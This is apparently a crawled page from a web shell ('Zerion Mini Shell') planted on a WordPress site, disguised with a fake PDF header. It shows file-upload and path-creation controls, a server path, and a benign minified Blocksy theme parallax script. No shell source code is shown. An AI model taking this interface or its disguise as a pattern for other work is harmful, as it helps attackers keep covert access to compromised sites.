%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/kfvehpdt/uvvos.fr/wp-content/themes/blocksy/static/bundle/
Upload File :
Create Path :
Current File : /home/kfvehpdt/uvvos.fr/wp-content/themes/blocksy/static/bundle/735.8f08a3d5ecc141604290.js

"use strict";(self.blocksyJsonP=self.blocksyJsonP||[]).push([[735],{3067:function(e){e.exports=function(){if("undefined"==typeof window||"undefined"==typeof navigator)return function(){return 0};if(!navigator.userAgent.match(/iphone|ipod|ipad/i)&&!function(){const e=window.navigator.userAgent;if(e.indexOf("iPad")>-1)return!0;if(e.indexOf("Macintosh")>-1)try{return document.createEvent("TouchEvent"),!0}catch(e){}return!1}())return function(){return window.innerHeight};var e,t=Math.abs(window.orientation),n={w:0,h:0};return(e=document.createElement("div")).style.position="fixed",e.style.height="100vh",e.style.width=0,e.style.top=0,document.documentElement.appendChild(e),n.w=90===t?e.offsetHeight:window.innerWidth,n.h=90===t?window.innerWidth:e.offsetHeight,document.documentElement.removeChild(e),e=null,function(){return 90!==Math.abs(window.orientation)?n.h:n.w}}()},1735:function(e,t,n){n.r(t),n.d(t,{mount:function(){return b},rel:function(){return g}});var r=n(6130),i=n(3067),o=n.n(i);function a(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function s(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?a(Object(n),!0).forEach((function(t){l(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):a(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function l(e,t,n){return(t=function(e){var t=function(e,t){if("object"!=typeof e||null===e)return e;var n=e[Symbol.toPrimitive];if(void 0!==n){var r=n.call(e,t||"default");if("object"!=typeof r)return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return("string"===t?String:Number)(e)}(e,"string");return"symbol"==typeof t?t:String(t)}(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}const c=function(e,t){return t*(100*(1-e))},u=function(e){let{el:t=null,speed:n=null,fitInsideContainer:r=null,isVisible:i=!1,shouldSetHeightToIncrease:a=!0,parallaxBehavior:s="desktop:tablet:mobile"}=e;if(n=n<=-5?-5:n>=5?5:n,r&&a){let e=0;e=n>0?c(.5,n):c(o()()/(r.clientHeight+o()()),n)-c(.5,n),e=2*Math.abs(e),i?t.parentNode.style.height=`calc(100% + ${e}px)`:t.parentNode.removeAttribute("style")}let{top:l,height:u}=d(r||t);return{parallaxBehavior:s,shouldSetHeightToIncrease:a,fitInsideContainer:r,el:t,top:pageYOffset+l,height:u,speed:n,isVisible:i}};function f(e){var t=e.getBoundingClientRect();return t.bottom>-450&&t.top-450<(o()()||document.documentElement.clientHeight)}function d(e){if(!e)return null;let{top:t,left:n,right:r,width:i,height:o}=e.getBoundingClientRect(),a=window.getComputedStyle(e).transform.split(/\(|,|\)/).slice(1,-1).map((function(e){return parseFloat(e)}));if(6!=a.length)return e.getBoundingClientRect();var s=a;let l=s[0]*s[3]-s[1]*s[2];return{width:i/s[0],height:o/s[3],left:(n*s[3]-t*s[2]+s[2]*s[5]-s[4]*s[3])/l,right:(r*s[3]-t*s[2]+s[2]*s[5]-s[4]*s[3])/l,top:(-n*s[1]+t*s[0]+s[4]*s[1]-s[0]*s[5])/l}}n(2248);function p(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function h(e,t,n){return(t=function(e){var t=function(e,t){if("object"!=typeof e||null===e)return e;var n=e[Symbol.toPrimitive];if(void 0!==n){var r=n.call(e,t||"default");if("object"!=typeof r)return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return("string"===t?String:Number)(e)}(e,"string");return"symbol"==typeof t?t:String(t)}(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}let g=new class{constructor(){var e=this;this.blocks=[],this.oldPosY=!1,this.intersectionObserver=new IntersectionObserver((function(t){t.map((function(t){let{target:n,isIntersecting:i,intersectionRatio:o}=t,a=(e.blocks.filter((function(e){let{fitInsideContainer:t,el:r}=e;return r.closest("svg")?r.closest("svg")===n:t===n||r===n})),!1);e.blocks=e.blocks.map((function(e){return(e.el.closest("svg")?e.el.closest("svg")===n:e.fitInsideContainer===n||e.el===n)?(a=!0,u(s(s({},e),{},{isVisible:i&&e.parallaxBehavior.indexOf((0,r.C)({withTablet:!0}))>-1}))):e})),a&&(e.oldPosY=!1,e.animate())}))}),{rootMargin:"450px"}),this.update(),this.animate()}removeEl(e){let{el:t}=e;t.removeAttribute("style"),this.blocks=this.blocks.filter((function(e){let{el:n}=e;return n!==t}))}addEl(e){let{el:t,speed:n,fitInsideContainer:i=null,shouldSetHeightToIncrease:o=!0,parallaxBehavior:a="desktop:tablet:mobile"}=e;i?this.intersectionObserver.observe(i):this.intersectionObserver.observe(t.closest("svg")?t.closest("svg"):t),this.blocks.push(u({el:t,speed:n,fitInsideContainer:i,isVisible:f(i||t)&&a.indexOf((0,r.C)({withTablet:!0}))>-1,shouldSetHeightToIncrease:o,parallaxBehavior:a}))}update(){this.oldPosY||0===this.oldPosY||this.animate(),this.setPosition()&&this.animate(),requestAnimationFrame(this.update.bind(this))}setPosition(){if(0===this.blocks.length)return!1;let e=this.oldPosY;return this.oldPosY=pageYOffset,e!=pageYOffset}animate(){this.blocks.map((function(e){if(!e.isVisible)return void e.el.removeAttribute("style");var t=(pageYOffset-e.top+o()())/(e.height+o()());let{top:n,height:r}=d(e.fitInsideContainer?e.fitInsideContainer:e.el);r||(r=(e.fitInsideContainer?e.fitInsideContainer:e.el).getBoundingClientRect().height);const i=1-(n+(e.el.dataset.percentage&&0===parseInt(e.el.dataset.percentage,10)?0:r/2))/o()();var a=c(e.fitInsideContainer?t:i,e.speed)-c(e.el.dataset.percentage?parseInt(e.el.dataset.percentage,10):.5,e.speed);e.el.style.transform=`translate3d(0, ${a}px, 0)`}))}};const b=function(e){e.ctHasParallax&&e.querySelector("figure .ct-media-container > img")||(!e.matches("[data-parallax]")||e.dataset.parallax?(e.ctHasParallax=!0,e.querySelector("figure .ct-media-container > img")?setTimeout((function(){g.addEl(function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?p(Object(n),!0).forEach((function(t){h(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):p(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({el:e.querySelector("figure .ct-media-container > img"),speed:-5,fitInsideContainer:e},e.dataset.parallax?{parallaxBehavior:e.dataset.parallax}:{}))}),0):g.addEl({el:e,speed:+e.dataset.parallax,shouldSetHeightToIncrease:!1})):e.removeAttribute("data-parallax"))}}}]);

Zerion Mini Shell 1.0